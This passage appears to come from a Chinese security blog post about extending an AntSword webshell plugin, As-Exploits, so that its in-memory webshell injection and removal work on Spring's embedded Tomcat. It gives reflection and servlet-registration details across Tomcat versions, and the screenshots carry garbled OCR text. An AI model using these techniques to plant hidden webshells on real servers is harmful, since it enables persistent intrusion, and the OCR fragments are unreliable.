%2C%22height%22%3A23.61766999999999%2C%22text%22%3A%22SetCodkie%3AJSESSIONID32FA691CD7D113529BBAO1ADPath%3B%22%7D%2C%7B%22x%22%3A5.43893%2C%22y%22%3A96.2493%2C%22width%22%3A213.82737%2C%22height%22%3A16.164366%2C%22text%22%3A%22Host%3A1ocalhost%3A8888%22%7D%2C%7B%22x%22%3A951.5906%2C%22y%22%3A117.6258%2C%22width%22%3A376.1700000000001%2C%22height%22%3A18.55053000000001%2C%22text%22%3A%22Content-Type%3Atext%2Fhtml%3BcharseT-UTF-8%22%7D%2C%7B%22x%22%3A8.011484%2C%22y%22%3A119.78342%2C%22width%22%3A319.925416%2C%22height%22%3A17.99796999999998%2C%22text%22%3A%22Accept-Encoding%3Agzipsdeflate%22%7D%2C%7B%22x%22%3A6.645412%2C%22y%22%3A139.69705%2C%22width%22%3A865.174988%2C%22height%22%3A22.59131000000002%2C%22text%22%3A%22userigent%3AMoz11a%2F5.0%2F%22%7D%2C%7B%22x%22%3A953.6979%2C%22y%22%3A141.7608%2C%22width%22%3A197.4500999999999%2C%22height%22%3A17.92765%2C%22text%22%3A%22Content-Length%3A183%22%7D%2C%7B%22x%22%3A954.21326%2C%22y%22%3A164.07019%2C%22width%22%3A352.7374400000001%2C%22height%22%3A20.80780999999999%2C%22text%22%3A%22Date%3AFri26Mar202104%3A11%3A07GMT%22%7D%2C%7B%22x%22%3A8.370044%2C%22y%22%3A165.87335%2C%22width%22%3A415.786816%2C%22height%22%3A19.42171000000002%2C%22text%22%3A%22Gecko)Chrome%2F81.0.4044.2Sfri%2F37.36%22%7D%2C%7B%22x%22%3A9.690438%2C%22y%22%3A190.41005%2C%22width%22%3A470.797232%2C%22height%22%3A17.751019999999983%2C%22text%22%3A%22Content-Type%3Aapplication%2Ffcodd%22%7D%2C%7B%22x%22%3A955.533%2C%22y%22%3A191.22342%2C%22width%22%3A169.70899999999995%2C%22height%22%3A16.584429999999998%2C%22text%22%3A%22Connection%3Aclose%22%7D%2C%7B%22x%22%3A9.223497%2C%22y%22%3A213.09627%2C%22width%22%3A213.14709299999998%2C%22height%22%3A19.427120000000002%2C%22text%22%3A%22Content-Length%3A15886%22%7D%2C%7B%22x%22%3A953.9673%2C%22y%22%3A234.53813%2C%22width%22%3A88.10169999999994%2C%22height%22%3A19.717880000000008%2C%22text%22%3A%225bOa877d%22%7D%2C%7B%22x%22%3A10.41597%2C%22y%22%3A237.87247%2C%22width%22%3A170.19955000000002%2C%22height%22%3A17.127790000000005%2C%22text%22%3A%22Connection%3Aclose%22%7D%2C%7B%22x%22%3A954.9259%2C%22y%22%3A256.78326%2C%22width%22%3A594.5752%2C%22height%22%3A27.811710000000005%2C%22text%22%3A%22telvreStluafeD.stelvrescanilatac.ehcapagro)-tluafed)-%2F%22%7D%2C%7B%22x%22%3A920.7347%2C%22y%22%3A280.37662%2C%22width%22%3A574.0584000000001%2C%22height%22%3A25.625080000000025%2C%22text%22%3A%2210telvrespsJ.telvres.repsaj.ehcapagrojj%22%7D%2C%7B%22x%22%3A8.84779%2C%22y%22%3A285.81567%2C%22width%22%3A48.790104%2C%22height%22%3A16.385629999999992%2C%22text%22%3A%22ant%E4%B8%89%22%7D%2C%7B%22x%22%3A924.56964%2C%22y%22%3A302.92853%2C%22width%22%3A623.1733599999999%2C%22height%22%3A26.71990999999997%2C%22text%22%3A%2211telvrespsJ.telvres.repsaj.ehcapagrojxj%22%7D%2C%7B%22x%22%3A9.858997%2C%22y%22%3A307.92813%2C%22width%22%3A882.1647429999999%2C%22height%22%3A22.07452999999998%2C%22text%22%3A%22YO6*GADRBSOARWECCHARBHAECAICOCTSTMATMJABCKBIAERCOCTASI%22%7D%2C%7B%22x%22%3A924.27374%2C%22y%22%3A328.66483%2C%22width%22%3A21.386259999999993%2C%22height%22%3A21.386259999999993%2C%22text%22%3A%2212%22%7D%2C%7B%22x%22%3A8.837388%2C%22y%22%3A331.43643%2C%22width%22%3A885.068682%2C%22height%22%3A19.74579%2C%22text%22%3A%22ASKIAMEESCASSHACMMBICAE28SBMECAXTKACKBUB%22%7D%2C%7B%22x%22%3A9.860227%2C%22y%22%3A356.28275%2C%22width%22%3A884.032073%2C%22height%22%3A20.995079999999973%2C%22text%22%3A%22OBHewEICBAWIAJHOMHARBPISORCMZAUILABSBBYOASDCGCTAUCKAAMRCA%22%7D%2C%7B%22x%22%3A10.799255%2C%22y%22%3A377.1702%2C%22width%22%3A882.285445%2C%22height%22%3A20.98616999999996%2C%22text%22%3A%2230CCWZAUASB%22%7D%2C%7B%22x%22%3A8.913286%2C%22y%22%3A401.59628%2C%22width%22%3A883.838214%2C%22height%22%3A19.82862%2C%22text%22%3A%22UOGACRSBFTCAFUBYBCHINCTGHVKDOUFBCUFAYLYBRCYOARESCAFRCRCTAWEI%22%7D%5D%2C%22style%22%3A%22none%22%2C%22search%22%3A%22Response%20eguest%20RawRenderLn%20Actions%20Actions%20retty%20Pretty%20n%20Raw%20posT%2Fant%2Freleasel.jspHTTP%2F1.1%20HTTP%2F1.1200%20SetCodkie%3AJSESSIONID32FA691CD7D113529BBAO1ADPath%3B%20Host%3A1ocalhost%3A8888%20Content-Type%3Atext%2Fhtml%3BcharseT-UTF-8%20Accept-Encoding%3Agzipsdeflate%20userigent%3AMoz11a%2F5.0%2F%20Content-Length%3A183%20Date%3AFri26Mar202104%3A11%3A07GMT%20Gecko)Chrome%2F81.0.4044.2Sfri%2F37.36%20Content-Type%3Aapplication%2Ffcodd%20Connection%3Aclose%20Content-Length%3A15886%205bOa877d%20Connection%3Aclose%20telvreStluafeD.stelvrescanilatac.ehcapagro)-tluafed)-%2F%2010telvrespsJ.telvres.repsaj.ehcapagrojj%20ant%E4%B8%89%2011telvrespsJ.telvres.repsaj.ehcapagrojxj%20YO6*GADRBSOARWECCHARBHAECAICOCTSTMATMJABCKBIAERCOCTASI%2012%20ASKIAMEESCASSHACMMBICAE28SBMECAXTKACKBUB%20OBHewEICBAWIAJHOMHARBPISORCMZAUILABSBBYOASDCGCTAUCKAAMRCA%2030CCWZAUASB%20UOGACRSBFTCAFUBYBCHINCTGHVKDOUFBCUFAYLYBRCYOARESCAFRCRCTAWEI%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%2C%22width%22%3A805.5%2C%22height%22%3A213%7D"><img data-height="213px" data-ratio="0.26466666666666666" title="image.png" data-type="png" data-w="1500" style="visibility: visible;width: 805.5px;" src="https://wechat2rss.xlab.app/img-proxy/?k=6b3efa54&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG9nVrXoUx4kelz8qoGvbx7TDI79YBcMWxFZZW2BRQ7tHk1WcPIkE9NIw%2F640%3Fwx_fmt%3Dpng"/></span></p><h3 data-lake-id="7fc2cf5c5161f1be43851724aa7e7e63" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;font-size: 20px;line-height: 28px;">4) 内存马兼容Spring</h3><p data-lake-id="c37fe04accb6c8e6174bd958d5e4a369" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;">其中 内存马管理 以及 AntSword 类型内存马支持 Tomcat（5-9）、Spring</p><p data-lake-id="9fcb3226d51e0cfcfdc9ebbda11e7a72" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;">首先要Spring中默认没有pageContext的依赖，所以相关的依赖部分都要去除。蚁剑的jsp很早就不依赖pageContext了，相关文章以前也写过，不知道的同学可以翻一翻我的博客：yzddmr6.tk。</p><p data-lake-id="9fcb3226d51e0cfcfdc9ebbda11e7a72" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;"><br/></p><p data-lake-id="7e779fab03d76afdd0420fb06f289b7a" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;">这里有两个细节</p><h4 data-lake-id="f94e7da68e9008e7ba6084fd8be0c71f" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;line-height: 24px;"><br/></h4><h4 data-lake-id="f94e7da68e9008e7ba6084fd8be0c71f" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;line-height: 24px;text-align: center;">关于反射的坑</h4><p style="text-align: left;"><br/></p><p data-lake-id="e7920115f8dcb2a049255ed813df38c0" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;">在研究过程中可以发现哥斯拉中的Payload基本都是用反射实现的，这样的好处就是可以不添加任何依赖。这也是为什么哥斯拉只有8m的原因。</p><p data-lake-id="ed9838c67f21ba71d66747c6d61518a3" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;">去除掉所有的pageContext后，在Spring中获取servlet没有问题，但是卸载的时候内存马管理模块报了一个这样的错误：</p><p data-lake-id="ed9838c67f21ba71d66747c6d61518a3" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;"><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">ERROR:<span class="code-snippet__comment">// java.lang.NoSuchMethodException: org.springframework.boot.web.embedded.tomcat.TomcatEmbeddedContext.removeChild(org.apache.catalina.Container)</span></span></code></pre></section><p data-lake-id="ed9838c67f21ba71d66747c6d61518a3" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;"><br/></p><p data-lake-id="d3563584e9d7e9a222386d00ec565f61" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;">定位一下问题出在这里<br/></p><p data-lake-id="5a64590c6dc64a6abc8c3e5575e98df5" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616382288107-f70c8485-17a8-429c-8f71-dd36b10a8457.png%22%2C%22originWidth%22%3A1017%2C%22originHeight%22%3A168%2C%22name%22%3A%22image.png%22%2C%22size%22%3A19254%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A54.152077%2C%22y%22%3A10.580332%2C%22width%22%3A178.45040300000002%2C%22height%22%3A17.844122%2C%22text%22%3A%22if(wrapperl-nul1)f%22%7D%2C%7B%22x%22%3A85.47263%2C%22y%22%3A36.55438%2C%22width%22%3A899.18267%2C%22height%22%3A18.1995%2C%22text%22%3A%22stamdrgme.qtdommm%22%7D%2C%7B%22x%22%3A84.79886%2C%22y%22%3A58.870056%2C%22width%22%3A534.03299%2C%22height%22%3A18.985934000000007%2C%22text%22%3A%22this.invoke(standardcontxt%2C%5C%22mveseletMapping%5C%22ulpatten)%3B%22%7D%2C%7B%22x%22%3A83.24866%2C%22y%22%3A85.60495%2C%22width%22%3A695.0448%2C%22height%22%3A19.178359999999998%2C%22text%22%3A%22f(thisgetethodbycasstwrapper.getda%2Ce%22%7D%2C%7B%22x%22%3A118.296295%2C%22y%22%3A112.26064%2C%22width%22%3A361.915435%2C%22height%22%3A16.342829999999992%2C%22text%22%3A%22this.transform(standardcontext%2CurPattern)%3B%22%7D%5D%2C%22style%22%3A%22none%22%2C%22search%22%3A%22if(wrapperl-nul1)f%20stamdrgme.qtdommm%20this.invoke(standardcontxt%2C%5C%22mveseletMapping%5C%22ulpatten)%3B%20f(thisgetethodbycasstwrapper.getda%2Ce%20this.transform(standardcontext%2CurPattern)%3B%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%2C%22width%22%3A656%2C%22height%22%3A108%7D"><img data-height="108px" data-ratio="0.16519174041297935" title="image.png" data-type="png" data-w="1017" style="visibility: visible;width: 656px;" src="https://wechat2rss.xlab.app/img-proxy/?k=c62adb52&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG92C5rIdkLKBO6pf95CPd4VYkEmXVS7X5ia5czwzs1uWn4Tg0icicaqj3mA%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="fc7280c4e4868ca9179ae7e5d9f73a76" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;">意思就是在<span style="color: #000000;">StandardContext中找不到</span><strong>removeChild</strong>这个方法。</p><p data-lake-id="73d0426a8f94cc76fda71a7c5b1270bc" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;"><br/></p><p data-lake-id="73d0426a8f94cc76fda71a7c5b1270bc" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;">调试一下发现，Spring中获取到的<span style="color: #000000;">StandardContext示例为其一个子类，叫做</span><strong>TomcatEmbeddedContext</strong>。虽然Spring中内置了Tomcat，但这个是Spring特有的。</p><p data-lake-id="73d0426a8f94cc76fda71a7c5b1270bc" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;"><br/></p><p data-lake-id="5118db4f18403080aeab2eeef62a8227" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616119790515-6bdbc527-d9a8-49e7-9eac-4fcd00991577.png%22%2C%22originWidth%22%3A722%2C%22originHeight%22%3A206%2C%22name%22%3A%22image.png%22%2C%22size%22%3A27139%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A130.64272%2C%22y%22%3A7.101855%2C%22width%22%3A542.00181%2C%22height%22%3A18.637555%2C%22text%22%3A%22org.springframework.boot.ebexcetin%22%7D%2C%7B%22x%22%3A55.89327%2C%22y%22%3A8.199445%2C%22width%22%3A63.102599999999995%2C%22height%22%3A17.084666%2C%22text%22%3A%22import%22%7D%2C%7B%22x%22%3A55.59215%2C%22y%22%3A33.892796%2C%22width%22%3A430.04338%2C%22height%22%3A18.665214000000006%2C%22text%22%3A%22importorg.springframework.tiai%22%7D%2C%7B%22x%22%3A113.85919%2C%22y%22%3A83.420586%2C%22width%22%3A473.47070999999994%2C%22height%22%3A22.209998999999996%2C%22text%22%3A%22TomcatEmbeddedContextextendsstandardContext%22%7D%2C%7B%22x%22%3A55.45389%2C%22y%22%3A87.582664%2C%22width%22%3A50.23555999999999%2C%22height%22%3A14.309816000000012%2C%22text%22%3A%22class%22%7D%2C%7B%22x%22%3A94.7197%2C%22y%22%3A114.65772%2C%22width%22%3A299.98187%2C%22height%22%3A15.928450000000012%2C%22text%22%3A%22privateTomcatstarterstarteri%22%7D%2C%7B%22x%22%3A95.357605%2C%22y%22%3A164.3991%2C%22width%22%3A248.35113499999997%2C%22height%22%3A17.59308999999999%2C%22text%22%3A%22TomcatEmbeddedContextO%22%7D%5D%2C%22style%22%3A%22none%22%2C%22search%22%3A%22org.springframework.boot.ebexcetin%20import%20importorg.springframework.tiai%20TomcatEmbeddedContextextendsstandardContext%20class%20privateTomcatstarterstarteri%20TomcatEmbeddedContextO%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%2C%22width%22%3A563%2C%22height%22%3A161%7D"><img data-height="161px" data-ratio="0.2853185595567867" title="image.png" data-type="png" data-w="722" style="visibility: visible;width: 563px;" src="https://wechat2rss.xlab.app/img-proxy/?k=9c815d25&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG95l7sprolnolA9JTFWIjId4vyAxHYsuE6dO4ZEBsG93onJ0d5ET6elg%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="f2782907bf3bad5e86d054f6dbc12d5a" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="f2782907bf3bad5e86d054f6dbc12d5a" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">TomcatEmbeddedContext继承了<span style="color: #000000;">StandardContext，并且没有对</span>removeChild进行改写，<span style="color: #000000;">如果父类有这个方法应该是可以调用的。</span></p><p data-lake-id="69f0a5e210c9b4b895163a3027d19728" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="eeeeb040437e8a0d5bfc611cd17e7508" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">那为什么会找不到方法呢？这里要提一下反射中getMethods 跟getDeclaredMethods 的区别：</p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p data-lake-id="502825432641a855f9f14fb1fa0bb20e" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">getMethods 获取所有公有方法（包括父类方法）</p></li><li><p data-lake-id="e4ca299ed492a7efe604f5648dc6b2ee" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">getDeclaredMethods 获取本类中的所有方法 (只拿本类中的)</p></li></ul><p data-lake-id="425d9a84820d85c61661b6c451675479" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="425d9a84820d85c61661b6c451675479" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">哥斯拉中用的getDeclaredMethod，也就是只能获取到本类中的方法，自然反射拿不到父类的removeChild。</p><p data-lake-id="13982333cdb281a9d758e1baca44eebc" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="fd71972f3e7136ab9d44b8f33c788307" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">所以解决办法要么把getDeclaredMethod换成getMethod，因为removeChild本来就是public的，要么就直接调用removeChild方法，不采用反射。在这里我采用了后者。</p><p data-lake-id="fd71972f3e7136ab9d44b8f33c788307" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="ee657a00a53a14a34248a760af5f0249" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616119685039-03a1c1c3-961a-43ef-8baa-3ecb7c87c65f.png%22%2C%22originWidth%22%3A1320%2C%22originHeight%22%3A187%2C%22name%22%3A%22image.png%22%2C%22size%22%3A40261%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A160.91795%2C%22y%22%3A22.846745%2C%22width%22%3A45.01000000000002%2C%22height%22%3A20.471191000000005%2C%22text%22%3A%22tryi%22%7D%2C%7B%22x%22%3A201.41019%2C%22y%22%3A45.90457%2C%22width%22%3A490.69827000000004%2C%22height%22%3A24.046960000000006%2C%22text%22%3A%22standardcontext.removechild((container)wrapper)%3B%22%7D%2C%7B%22x%22%3A198.49849%2C%22y%22%3A70.0242%2C%22width%22%3A490.02286999999995%2C%22height%22%3A24.78742000000001%2C%22text%22%3A%22standardcontext.removeservletMapping(urlPattern)%3B%22%7D%2C%7B%22x%22%3A180.30212%2C%22y%22%3A102.09686%2C%22width%22%3A1093.26858%2C%22height%22%3A20.192583999999997%2C%22text%22%3A%22stommtedt.qtqoo.omo.ommo.ma.dom.m%22%7D%2C%7B%22x%22%3A222.61642%2C%22y%22%3A129.12132%2C%22width%22%3A647.6564800000001%2C%22height%22%3A17.611530000000016%2C%22text%22%3A%22this.ike(stad%22%7D%2C%7B%22x%22%3A162.08981%2C%22y%22%3A154.51471%2C%22width%22%3A209.13196%2C%22height%22%3A18.445239999999984%2C%22text%22%3A%22catch(Exceptione)%22%7D%5D%2C%22style%22%3A%22none%22%2C%22search%22%3A%22tryi%20standardcontext.removechild((container)wrapper)%3B%20standardcontext.removeservletMapping(urlPattern)%3B%20stommtedt.qtqoo.omo.ommo.ma.dom.m%20this.ike(stad%20catch(Exceptione)%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%2C%22width%22%3A660%2C%22height%22%3A94%7D"><img data-height="94px" data-ratio="0.14166666666666666" title="image.png" data-type="png" data-w="1320" style="visibility: visible;width: 660px;" src="https://wechat2rss.xlab.app/img-proxy/?k=a09948ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG9BzN4RPXLKbSkQp31LuW7f2m1QU52SV9lB8e8Ecv5nVU7K4M45W1q4A%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="f702e0dc3ff526844de0e13909108497" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="f702e0dc3ff526844de0e13909108497" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">在内存马模块同理，这里直接全部改了，不再用反射。</p><p data-lake-id="f702e0dc3ff526844de0e13909108497" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><h4 data-lake-id="9f00205062fb74173246928d5eb20ac7" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;line-height: 24px;text-align: center;">addServletMapping的兼容性问题</h4><p data-lake-id="f656c5e2c5f6556fc0a6dfbcb681ce29" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">要注意的是，在添加servlet的过程中，会涉及到addServletMapping函数的兼容性问题，并且很多文章中并没有仔细分析具体的版本号。这里贴一下我研究的结果：</p><p data-lake-id="95aadb428533f6e260fc13562a16721c" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p data-lake-id="e1fbc81fab2db65e7d7eeb4663d1af83" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">tomcat7         只能addServletMapping</p></li><li><p data-lake-id="67688b70aa2de20d034f5a5440439ded" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">tomcat8         addServletMapping/addServletMappingDecoded都可以</p></li><li><p data-lake-id="45ccdbadcb364d8d91371219c2682916" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">tomcat9         只能addServletMappingDecoded</p></li></ul><p data-lake-id="39501d38b797d1a426b1bb027404cb3a" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="d8fd6576bff07a76854a75bf28900778" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">在这里要么用反射，两种方法都try一下。在这里提供一个更好的解决办法，使用ApplicationServletRegistration这个类。ApplicationServletRegistration对wrapper做了封装，自动会处理两种方法的兼容性。</p><p data-lake-id="d8fd6576bff07a76854a75bf28900778" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><h4 data-lake-id="c3494cd56fc532a3e4b784956c14f061" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;line-height: 24px;">Spring下运行截图</h4><p data-lake-id="953d2872bf0ab2fd8d4c4a700b195275" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">获取Servlet</p><p data-lake-id="ea2d955341b9d9084d72faf1c6427d4e" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616391669240-1a5f577e-4b65-408b-b77f-d90384cacd82.png%22%2C%22originWidth%22%3A1302%2C%22originHeight%22%3A859%2C%22name%22%3A%22image.png%22%2C%22size%22%3A72715%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A32.90198%2C%22y%22%3A11.1797%2C%22width%22%3A64.36479%2C%22height%22%3A16.086326%2C%22text%22%3A%22%E4%B8%AD%E5%9B%BD%E8%9A%81%E5%89%91%22%7D%2C%7B%22x%22%3A139.52008%2C%22y%22%3A42.271942%2C%22width%22%3A76.34049999999999%2C%22height%22%3A17.001368%2C%22text%22%3A%22%E7%AA%97%E5%8F%A3%E8%B0%83%E8%AF%95%22%7D%2C%7B%22x%22%3A5.606653%2C%22y%22%3A43.33091%2C%22width%22%3A123.655037%2C%22height%22%3A16.702309999999997%2C%22text%22%3A%22AntSword%E7%BC%96%E8%BE%91%22%7D%2C%7B%22x%22%3A31.669796%2C%22y%22%3A73.85993%2C%22width%22%3A297.091344%2C%22height%22%3A19.545663999999988%2C%22text%22%3A%22As-Exploits127.0.0.1jspBy%3AyzddMr6%22%7D%2C%7B%22x%22%3A588.5997%2C%22y%22%3A108.865776%2C%22width%22%3A62.98070000000007%2C%22height%22%3A18.447124000000002%2C%22text%22%3A%22%E6%8F%90%E6%9D%83%E8%BE%85%E5%8A%A9%22%7D%2C%7B%22x%22%3A483.6982%2C%22y%22%3A108.92337%2C%22width%22%3A61.86075999999997%2C%22height%22%3A17.520269999999996%2C%22text%22%3A%22%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%22%7D%2C%7B%22x%22%3A52.28564%2C%22y%22%3A109.231346%2C%22width%22%3A60.008970000000005%2C%22height%22%3A16.786704%2C%22text%22%3A%22%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%22%7D%2C%7B%22x%22%3A802.42285%2C%22y%22%3A109.24368%2C%22width%22%3A32.209049999999934%2C%22height%22%3A17.86931%2C%22text%22%3A%22%E5%85%B3%E4%BA%8E%22%7D%2C%7B%22x%22%3A268.148%2C%22y%22%3A109.23857%2C%22width%22%3A51.85242999999997%2C%22height%22%3A19.94426%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E9%A9%AC%22%7D%2C%7B%22x%22%3A362.91827%2C%22y%22%3A109.63682%2C%22width%22%3A77.28397000000001%2C%22height%22%3A17.361424999999997%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E9%A9%AC%E7%AE%A1%E7%90%86%22%7D%2C%7B%22x%22%3A696.91187%2C%22y%22%3A109.91751%2C%22width%22%3A60.13522999999998%2C%22height%22%3A16.58192000000001%2C%22text%22%3A%22%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%22%7D